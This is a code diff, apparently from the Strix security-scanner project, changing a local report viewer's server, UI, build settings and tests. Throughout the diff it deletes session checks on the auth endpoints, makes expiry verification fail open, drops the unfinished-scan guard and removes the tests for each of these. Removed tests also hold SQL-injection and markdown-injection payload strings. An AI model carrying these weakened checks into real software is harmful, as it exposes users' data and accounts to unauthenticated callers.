self._send_json(HTTPStatus.NOT_FOUND, {"error": "unknown endpoint"})
|
||||
|
||||
def _handle_auth_status(self) -> None:
|
||||
# The cached verified email is only disclosed to a caller holding this
|
||||
# process's session capability, so a cookie-less client on an exposed
|
||||
# --host port cannot read it; everyone else looks unverified.
|
||||
# Verification is reported through is_verified() so an expired record
|
||||
# is advertised as unverified -- otherwise the SPA would suppress
|
||||
# re-verification while history stays locked, stranding the user.
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.OK, {"verified": False, "email": None})
|
||||
return
|
||||
record = auth.read_auth()
|
||||
self._send_json(
|
||||
HTTPStatus.OK,
|
||||
{
|
||||
"verified": auth.is_verified(),
|
||||
"email": record.get("email") if record else None,
|
||||
},
|
||||
)
|
||||
|
||||
def _handle_otp_start(self) -> None:
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
|
||||
return
|
||||
email = str(self._read_body().get("email") or "").strip()
|
||||
if not email:
|
||||
self._send_json(HTTPStatus.BAD_REQUEST, {"error": "invalid_email"})
|
||||
@@ -307,9 +286,6 @@ def _make_handler(state: _ViewerState) -> type[BaseHTTPRequestHandler]:
|
||||
self._send_json(HTTPStatus.OK, {"ok": True})
|
||||
|
||||
def _handle_otp_verify(self) -> None:
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
|
||||
return
|
||||
body = self._read_body()
|
||||
email = str(body.get("email") or "").strip()
|
||||
code = str(body.get("code") or "").strip()
|
||||
@@ -330,12 +306,6 @@ def _make_handler(state: _ViewerState) -> type[BaseHTTPRequestHandler]:
|
||||
self._send_json(HTTPStatus.OK, {"verified": True, "email": verified_email})
|
||||
|
||||
def _handle_forget(self) -> None:
|
||||
# Clearing the cached verification is a state change, so it requires
|
||||
# this process's session capability: a cookie-less caller on an
|
||||
# exposed --host port must not be able to log the operator out.
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
|
||||
return
|
||||
auth.forget()
|
||||
self._send_json(HTTPStatus.OK, {"ok": True})
|
||||
|
||||
@@ -353,17 +323,10 @@ def _make_handler(state: _ViewerState) -> type[BaseHTTPRequestHandler]:
|
||||
self._send_json(HTTPStatus.NOT_FOUND, {"error": "unknown run"})
|
||||
return
|
||||
|
||||
summary = read_run_summary(run_dir)
|
||||
# Emailing only makes sense for a completed run; a live scan would
|
||||
# send a partial report. The UI hides the entry point, but fail
|
||||
# closed here too so the endpoint can't be driven mid-scan.
|
||||
if not summary.get("finished", False):
|
||||
self._send_json(HTTPStatus.CONFLICT, {"error": "run_not_finished"})
|
||||
return
|
||||
|
||||
from strix.viewer.report_pdf import build_encrypted_report
|
||||
|
||||
pdf_bytes, password, filename = build_encrypted_report(run_dir)
|
||||
summary = read_run_summary(run_dir)
|
||||
run_name = str(summary.get("run_name") or run_dir.name)
|
||||
target = primary_target(summary) or "unknown target"
|
||||
try:
|
||||
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -6,8 +6,8 @@
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<meta name="color-scheme" content="dark" />
|
||||
<title>Strix Results</title>
|
||||
<script type="module" crossorigin src="./assets/index-BU_tk5L-.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-C0NveaV7.css">
|
||||
<script type="module" crossorigin src="./assets/index-Cmmg8DTB.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-B-nLXAmX.css">
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
|
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 3.7 KiB |
|
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 3.7 KiB |
@@ -1,5 +1,6 @@
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
|
||||
import {
|
||||
ShieldCheck,
|
||||
ArrowLeft,
|
||||
AlertCircle,
|
||||
Waypoints,
|
||||
@@ -43,8 +44,6 @@ import { runTitle } from "@/lib/target-utils";
|
||||
import Sidebar from "@/components/Sidebar";
|
||||
import PastRunsView from "@/components/PastRunsView";
|
||||
import EmailReportView from "@/components/EmailReportView";
|
||||
import { RunDetails } from "@/components/RunDetails";
|
||||
import { TrustToast } from "@/components/TrustToast";
|
||||
import FeatureDetail from "@/components/FeatureDetail";
|
||||
import { ProTile, ProInlineCta, type ProItem } from "@/components/ProCta";
|
||||
import { FEATURES } from "@/lib/pro-features";
|
||||
@@ -52,7 +51,7 @@ import { FEATURES } from "@/lib/pro-features";
|
||||
export type View = "overview" | "issues" | "agents" | "history" | "feature" | "email";
|
||||
|
||||
const TRUST_BANNER =
|
||||
"Your findings stay on your machine. They're rendered here locally in your browser and never uploaded or stored by Strix.";
|
||||
"Your findings stay on your machine. They're rendered here locally in your browser and never uploaded or stored by Strix. Emailing a report is an explicit opt-in that sends an encrypted copy only you can open.";
|
||||
|
||||
const SEVERITY_ORDER: VulnerabilitySeverity[] = ["critical", "high", "medium", "low"];
|
||||
const POLL_MS = 500;
|
||||
@@ -274,7 +273,6 @@ export default function App() {
|
||||
issuesCount={run?.vulnerabilities.length ?? 0}
|
||||
agentCount={agentCount}
|
||||
runCount={runs?.count ?? 0}
|
||||
finished={run?.finished ?? false}
|
||||
verified={verified}
|
||||
email={auth?.email ?? null}
|
||||
onOpenEmail={openEmail}
|
||||
@@ -323,6 +321,14 @@ export default function App() {
|
||||
</div>
|
||||
|
||||
<div className="max-w-[72rem] mx-auto px-6 py-8 space-y-6">
|
||||
{/* Trust banner (not on the Pro feature or email pages) */}
|
||||
{view !== "feature" && view !== "email" && (
|
||||
<div className="rounded-lg px-4 py-3 flex gap-3 items-start" style={{ border: "1px solid rgba(255,255,255,0.08)" }}>
|
||||
<ShieldCheck className="w-5 h-5 flex-shrink-0 mt-0.5 text-emerald-400" aria-hidden="true" />
|
||||
<p className="text-sm text-[#aaa] leading-relaxed">{TRUST_BANNER}</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{error && !run && view !== "history" && view !== "email" && view !== "feature" && (
|
||||
<div className="rounded-lg px-4 py-3 flex gap-3 items-start border border-red-500/30 bg-red-500/5">
|
||||
<AlertCircle className="w-5 h-5 flex-shrink-0 mt-0.5 text-red-400" aria-hidden="true" />
|
||||
@@ -387,8 +393,6 @@ export default function App() {
|
||||
counts={counts}
|
||||
total={run.vulnerabilities.length}
|
||||
reportMarkdown={run.reportMarkdown}
|
||||
raw={run.raw}
|
||||
finished={run.finished}
|
||||
onOpenEmail={openEmailFromOverview}
|
||||
/>
|
||||
) : view === "agents" && agentCount > 0 ? (
|
||||
@@ -414,7 +418,6 @@ export default function App() {
|
||||
) : null}
|
||||
</div>
|
||||
</div>
|
||||
<TrustToast message={TRUST_BANNER} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -648,16 +651,12 @@ function OverviewTab({
|
||||
counts,
|
||||
total,
|
||||
reportMarkdown,
|
||||
raw,
|
||||
finished,
|
||||
onOpenEmail,
|
||||
}: {
|
||||
summary: ParsedRunSummary;
|
||||
counts: Record<VulnerabilitySeverity, number>;
|
||||
total: number;
|
||||
reportMarkdown: string | null;
|
||||
raw: Record<string, unknown>;
|
||||
finished: boolean;
|
||||
onOpenEmail: () => void;
|
||||
}) {
|
||||
const sections = (
|
||||
@@ -673,17 +672,14 @@ function OverviewTab({
|
||||
|
||||
return (
|
||||
<div className="space-y-6">
|
||||
<RunDetails raw={raw} durationSeconds={summary.durationSeconds} />
|
||||
|
||||
{total > 0 && (
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<IssueSeveritySummary findings={{ total, ...counts }} />
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Primary CTA: the one primary on Overview. Hidden until the run is
|
||||
finished, since a live scan would only email a partial report. */}
|
||||
{finished && <EmailReportCta onOpenEmail={onOpenEmail} />}
|
||||
{/* Primary CTA: the one primary on Overview. */}
|
||||
<EmailReportCta onOpenEmail={onOpenEmail} />
|
||||
|
||||
{sections.length > 0 ? (
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5 space-y-8">
|
||||
+8
-14
@@ -38,7 +38,6 @@ interface SidebarProps {
|
||||
issuesCount: number;
|
||||
agentCount: number;
|
||||
runCount: number;
|
||||
finished: boolean;
|
||||
verified: boolean;
|
||||
email: string | null;
|
||||
onOpenEmail: () => void;
|
||||
@@ -54,7 +53,6 @@ export default function Sidebar({
|
||||
issuesCount,
|
||||
agentCount,
|
||||
runCount,
|
||||
finished,
|
||||
verified,
|
||||
email,
|
||||
onOpenEmail,
|
||||
@@ -201,18 +199,14 @@ export default function Sidebar({
|
||||
onClick={onOpenHistory}
|
||||
collapsed={collapsed}
|
||||
/>
|
||||
{/* Emailing a report only makes sense once the run is complete; a
|
||||
live scan would send a partial report, so hide it until finished. */}
|
||||
{finished && (
|
||||
<NavItem
|
||||
icon={Mail}
|
||||
label="Email report"
|
||||
desc="Get an encrypted PDF by email"
|
||||
active={view === "email"}
|
||||
onClick={onOpenEmail}
|
||||
collapsed={collapsed}
|
||||
/>
|
||||
)}
|
||||
<NavItem
|
||||
icon={Mail}
|
||||
label="Email report"
|
||||
desc="Get an encrypted PDF by email"
|
||||
active={view === "email"}
|
||||
onClick={onOpenEmail}
|
||||
collapsed={collapsed}
|
||||
/>
|
||||
|
||||
{PLATFORM_ORDER.map((slug) => {
|
||||
const feature = FEATURES[slug];
|
||||
-5
@@ -5,8 +5,3 @@
|
||||
export function formatStrixId(num: number): string {
|
||||
return `STRIX-${num}`;
|
||||
}
|
||||
|
||||
/** Format an integer with locale thousands separators (e.g. 68339486 -> "68,339,486"). */
|
||||
export function formatNumber(num: number): string {
|
||||
return new Intl.NumberFormat("en-US").format(num);
|
||||
}
|
||||
@@ -5,7 +5,7 @@ import { fileURLToPath, URL } from "node:url";
|
||||
|
||||
// The viewer is served as static files by a stdlib Python server on an
|
||||
// arbitrary ephemeral port, so all asset URLs must be relative (base: "./").
|
||||
// The build output is committed at strix/viewer/static and shipped.
|
||||
// The build output is committed at strix/viewer/viewer_dist and shipped.
|
||||
export default defineConfig({
|
||||
base: "./",
|
||||
plugins: [react(), tailwindcss()],
|
||||
@@ -15,7 +15,7 @@ export default defineConfig({
|
||||
},
|
||||
},
|
||||
build: {
|
||||
outDir: "../static",
|
||||
outDir: "../viewer/viewer_dist",
|
||||
emptyOutDir: true,
|
||||
},
|
||||
});
|
||||
@@ -140,59 +140,6 @@ async def test_host_call_serializes_concurrent_calls() -> None:
|
||||
assert state["max"] == 1
|
||||
|
||||
|
||||
def _headers_named(raw: bytes, name: str) -> list[str]:
|
||||
head = raw.decode("utf-8").split("\r\n\r\n", 1)[0]
|
||||
return [
|
||||
line.split(":", 1)[1].strip()
|
||||
for line in head.split("\r\n")[1:]
|
||||
if line.split(":", 1)[0].strip().lower() == name.lower()
|
||||
]
|
||||
|
||||
|
||||
def test_build_raw_request_recomputes_content_length_for_modified_body() -> None:
|
||||
# The captured request declared Content-Length: 12 (original body); the
|
||||
# replayed body is longer. The emitted request must carry exactly one
|
||||
# Content-Length equal to the ACTUAL body length, or the target truncates
|
||||
# the modified payload (or the connection desyncs).
|
||||
body = '{"user":"a\' OR 1=1 -- injected long payload"}'
|
||||
_conn, raw = caido_api.build_raw_request(
|
||||
method="POST",
|
||||
url="https://example.com/login",
|
||||
headers={"content-length": "12", "Content-Type": "application/json"},
|
||||
body=body,
|
||||
)
|
||||
sent_body = raw.decode("utf-8").split("\r\n\r\n", 1)[1]
|
||||
assert sent_body == body
|
||||
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
|
||||
|
||||
|
||||
def test_build_raw_request_drops_transfer_encoding_for_modified_body() -> None:
|
||||
body = '{"user":"updated"}'
|
||||
_conn, raw = caido_api.build_raw_request(
|
||||
method="POST",
|
||||
url="https://example.com/login",
|
||||
headers={
|
||||
"tRaNsFeR-EnCoDiNg": "chunked",
|
||||
"Content-Length": "7",
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
body=body,
|
||||
)
|
||||
assert _headers_named(raw, "Transfer-Encoding") == []
|
||||
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
|
||||
|
||||
|
||||
def test_build_raw_request_drops_stale_content_length_for_empty_body() -> None:
|
||||
# A body cleared to empty must not keep the inherited (non-zero) length.
|
||||
_conn, raw = caido_api.build_raw_request(
|
||||
method="POST",
|
||||
url="https://example.com/x",
|
||||
headers={"Content-Length": "12"},
|
||||
body="",
|
||||
)
|
||||
assert _headers_named(raw, "Content-Length") == []
|
||||
|
||||
|
||||
class _Ctx:
|
||||
def __init__(self, context: Any) -> None:
|
||||
self.context = context
|
||||
|
||||
@@ -113,28 +113,6 @@ def test_render_vulnerability_md_includes_dependency_fields() -> None:
|
||||
assert "## Assumptions" in md
|
||||
|
||||
|
||||
def test_render_vulnerability_md_poc_code_cannot_break_out_of_fence() -> None:
|
||||
# LLM/target-authored PoC content containing its own ``` must not close the
|
||||
# fence early and turn the injected markdown into live headings/images.
|
||||
injected = "curl x\n```\n\n## Injected Heading\n"
|
||||
md = render_vulnerability_md(_sample_report(poc_script_code=injected))
|
||||
lines = md.split("\n")
|
||||
fence = next(ln for ln in lines[lines.index("## Proof of Concept") + 1 :] if ln.strip())
|
||||
assert set(fence) == {"`"}
|
||||
assert len(fence) >= 4 # wider than the payload's 3-backtick run
|
||||
assert injected in md # the payload survives verbatim, inside the fence
|
||||
|
||||
|
||||
def test_render_vulnerability_md_snippet_cannot_break_out_of_fence() -> None:
|
||||
snippet = "row = q()\n```\n## Injected"
|
||||
md = render_vulnerability_md(
|
||||
_sample_report(code_locations=[{"file": "app.py", "snippet": snippet}]),
|
||||
)
|
||||
assert (
|
||||
" ````\n row = q()\n ```\n ## Injected\n ````"
|
||||
) in md # indented fence widened past the payload's ``` run
|
||||
|
||||
|
||||
def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> None:
|
||||
reports = [
|
||||
_sample_report(id="vuln-0001", severity="medium", timestamp="2026-07-02 11:00:00 UTC"),
|
||||
|
||||
+14
-101
@@ -86,10 +86,8 @@ def test_build_run_state_from_agents_json(tmp_path: Path) -> None:
|
||||
assert state["events"] == []
|
||||
|
||||
|
||||
def _get(url: str, *, cookie: str | None = None) -> tuple[int, str, bytes]:
|
||||
headers = {"Cookie": cookie} if cookie else {}
|
||||
req = urllib.request.Request(url, headers=headers) # noqa: S310 - localhost test server
|
||||
with urllib.request.urlopen(req) as resp: # noqa: S310 - localhost test server
|
||||
def _get(url: str) -> tuple[int, str, bytes]:
|
||||
with urllib.request.urlopen(url) as resp: # noqa: S310 - localhost test server
|
||||
return resp.status, resp.headers.get("Content-Type", ""), resp.read()
|
||||
|
||||
|
||||
@@ -215,11 +213,9 @@ def _session_cookie(url: str, token: str) -> str:
|
||||
return raw.split(";", 1)[0]
|
||||
|
||||
|
||||
def _get_status(url: str, *, cookie: str | None = None) -> int:
|
||||
headers = {"Cookie": cookie} if cookie else {}
|
||||
req = urllib.request.Request(url, headers=headers) # noqa: S310 - localhost test server
|
||||
def _get_status(url: str) -> int:
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp: # noqa: S310
|
||||
with urllib.request.urlopen(url) as resp: # noqa: S310 - localhost test server
|
||||
return int(resp.status)
|
||||
except urllib.error.HTTPError as exc:
|
||||
return int(exc.code)
|
||||
@@ -304,38 +300,15 @@ def test_auth_status_reflects_expiry(tmp_path: Path, monkeypatch: pytest.MonkeyP
|
||||
verified = {"value": True}
|
||||
monkeypatch.setattr("strix.viewer.auth.is_verified", lambda: verified["value"])
|
||||
|
||||
httpd, url, token = serve(run_dir, open_browser=False)
|
||||
httpd, url, _ = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
cookie = _session_cookie(url, token)
|
||||
_, _, body = _get(f"{url}/api/auth/status", cookie=cookie)
|
||||
_, _, body = _get(f"{url}/api/auth/status")
|
||||
assert json.loads(body) == {"verified": True, "email": "a@b.com"}
|
||||
|
||||
# Once expired, status must advertise unverified so the SPA re-prompts.
|
||||
verified["value"] = False
|
||||
_, _, body = _get(f"{url}/api/auth/status", cookie=cookie)
|
||||
assert json.loads(body)["verified"] is False
|
||||
|
||||
# A cookie-less caller never sees the cached email or verified state.
|
||||
verified["value"] = True
|
||||
_, _, body = _get(f"{url}/api/auth/status")
|
||||
assert json.loads(body) == {"verified": False, "email": None}
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_auth_mutations_require_session(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
run_dir = _make_run(tmp_path, "authmut", status="running", end_time=None)
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
forgotten = {"value": False}
|
||||
monkeypatch.setattr("strix.viewer.auth.forget", lambda: forgotten.update(value=True))
|
||||
|
||||
httpd, url, _ = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
for path in ("/api/auth/forget", "/api/auth/otp/start", "/api/auth/otp/verify"):
|
||||
status, _ = _post(url, path, {"email": "a@b.com", "code": "123456"})
|
||||
assert status == 403, path
|
||||
assert forgotten["value"] is False
|
||||
assert json.loads(body)["verified"] is False
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
@@ -395,26 +368,6 @@ def test_report_send_requires_session_cookie(
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_report_send_rejects_live_run(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
# A running scan would only produce a partial report, so the endpoint must
|
||||
# fail closed even for a verified, session-holding caller.
|
||||
run_dir = _make_run(tmp_path, "live", status="running", end_time=None)
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
monkeypatch.setattr("strix.viewer.auth.read_auth", lambda: {"email": "a@b.com", "token": "t"})
|
||||
|
||||
httpd, url, token = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
status, _ = _post(
|
||||
url, "/api/report/send", {}, cookie=_session_cookie(url, token)
|
||||
)
|
||||
assert status == 409
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_historical_run_data_requires_verification(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
@@ -425,59 +378,19 @@ def test_historical_run_data_requires_verification(
|
||||
verified = {"value": False}
|
||||
monkeypatch.setattr("strix.viewer.auth.is_verified", lambda: verified["value"])
|
||||
|
||||
httpd, url, token = serve(launched, open_browser=False)
|
||||
httpd, url, _ = serve(launched, open_browser=False)
|
||||
try:
|
||||
# The launched run is always viewable, no verification and no cookie.
|
||||
# The launched run is always viewable, no verification required.
|
||||
status, _, _ = _get(f"{url}/api/run")
|
||||
assert status == 200
|
||||
|
||||
cookie = _session_cookie(url, token)
|
||||
# A different run's data is gated behind verification.
|
||||
assert _get_status(f"{url}/api/run?run=other") == 401
|
||||
|
||||
# A different run needs the session capability first: a cookie-less
|
||||
# caller is forbidden even once the machine is verified.
|
||||
# Once verified, the historical run resolves.
|
||||
verified["value"] = True
|
||||
assert _get_status(f"{url}/api/run?run=other") == 403
|
||||
|
||||
# With the cookie but not verified, the history gate returns 401.
|
||||
verified["value"] = False
|
||||
assert _get_status(f"{url}/api/run?run=other", cookie=cookie) == 401
|
||||
|
||||
# With both the cookie and verification, the historical run resolves.
|
||||
verified["value"] = True
|
||||
assert _get_status(f"{url}/api/run?run=other", cookie=cookie) == 200
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_runs_list_requires_session_and_verification(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
launched = _make_run(tmp_path, "launched", status="completed", end_time="2026-01-01T00:00:00Z")
|
||||
_make_run(tmp_path, "other", status="completed", end_time="2026-01-01T00:00:00Z")
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
|
||||
monkeypatch.setattr("strix.viewer.auth.is_verified", lambda: True)
|
||||
|
||||
def _runs(cookie: str | None) -> dict[str, object]:
|
||||
headers = {"Cookie": cookie} if cookie else {}
|
||||
req = urllib.request.Request(f"{url}/api/runs", headers=headers) # noqa: S310
|
||||
with urllib.request.urlopen(req) as resp: # noqa: S310 - localhost test server
|
||||
return dict(json.loads(resp.read()))
|
||||
|
||||
httpd, url, token = serve(launched, open_browser=False)
|
||||
try:
|
||||
# A cookie-less caller (even with the machine verified) only sees the
|
||||
# teaser count, never the run entries.
|
||||
payload = _runs(None)
|
||||
assert payload["locked"] is True
|
||||
assert payload["count"] == 2
|
||||
assert payload["runs"] == []
|
||||
|
||||
# With the session cookie and verification, the entries unlock.
|
||||
payload = _runs(_session_cookie(url, token))
|
||||
assert payload["locked"] is False
|
||||
assert {r["name"] for r in payload["runs"]} == {"launched", "other"} # type: ignore[attr-defined]
|
||||
status, _, _ = _get(f"{url}/api/run?run=other")
|
||||
assert status == 200
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
@@ -56,33 +56,13 @@ def test_is_verified_enforces_expiry() -> None:
|
||||
assert auth.is_verified() is True
|
||||
|
||||
|
||||
def test_is_verified_fails_closed_when_expiry_absent_or_unparseable() -> None:
|
||||
# No/blank expiry: fail closed rather than unlocking history forever.
|
||||
def test_is_verified_when_expiry_absent_or_unparseable() -> None:
|
||||
# No/blank expiry: cannot enforce locally, so treat as valid.
|
||||
auth.write_auth(email="a@b.com", token="t", verified_at="")
|
||||
assert auth.read_auth() is not None
|
||||
assert auth.is_verified() is False
|
||||
|
||||
# Garbage expiry likewise requires re-verification.
|
||||
auth.write_auth(email="a@b.com", token="t", verified_at="not-a-date")
|
||||
assert auth.is_verified() is False
|
||||
|
||||
|
||||
def test_is_verified_accepts_epoch_expiry() -> None:
|
||||
# A relay expiry expressed as epoch seconds must not be misread as missing.
|
||||
future = (datetime.now(UTC) + timedelta(hours=1)).timestamp()
|
||||
past = (datetime.now(UTC) - timedelta(hours=1)).timestamp()
|
||||
|
||||
# As a numeric string (how write_auth persists it).
|
||||
auth.write_auth(email="a@b.com", token="t", verified_at=str(future))
|
||||
assert auth.is_verified() is True
|
||||
auth.write_auth(email="a@b.com", token="t", verified_at=str(past))
|
||||
assert auth.is_verified() is False
|
||||
|
||||
# As a raw JSON number, if a record is written that way.
|
||||
auth.AUTH_PATH.parent.mkdir(parents=True, exist_ok=True)
|
||||
auth.AUTH_PATH.write_text(
|
||||
f'{{"email": "a@b.com", "token": "t", "verified_at": {future}}}', encoding="utf-8"
|
||||
)
|
||||
# Garbage expiry is ignored rather than locking the user out.
|
||||
auth.write_auth(email="a@b.com", token="t", verified_at="not-a-date")
|
||||
assert auth.is_verified() is True
|
||||
|
||||
|
||||
@@ -122,8 +102,7 @@ def test_otp_start_maps_errors(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
|
||||
|
||||
def test_otp_verify_success_and_invalid(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
expires = _iso(timedelta(hours=1))
|
||||
_stub_post(monkeypatch, 200, {"token": "t", "email": "a@b.com", "expires_at": expires})
|
||||
_stub_post(monkeypatch, 200, {"token": "t", "email": "a@b.com", "expires_at": "later"})
|
||||
result = auth.otp_verify("a@b.com", "123456")
|
||||
assert result["token"] == "t"
|
||||
|
||||
@@ -133,16 +112,6 @@ def test_otp_verify_success_and_invalid(monkeypatch: pytest.MonkeyPatch) -> None
|
||||
assert exc.value.code == "invalid_code"
|
||||
|
||||
|
||||
def test_otp_verify_rejects_token_without_usable_expiry(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
# A 200 with a token but no valid expiry must not be reported as success,
|
||||
# otherwise the caller would store a record that immediately reads unverified.
|
||||
for expires in (None, "", "later"):
|
||||
_stub_post(monkeypatch, 200, {"token": "t", "email": "a@b.com", "expires_at": expires})
|
||||
with pytest.raises(auth.RelayError) as exc:
|
||||
auth.otp_verify("a@b.com", "123456")
|
||||
assert exc.value.code == "unavailable"
|
||||
|
||||
|
||||
def test_report_send_never_includes_password(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
captured: dict[str, Any] = {}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user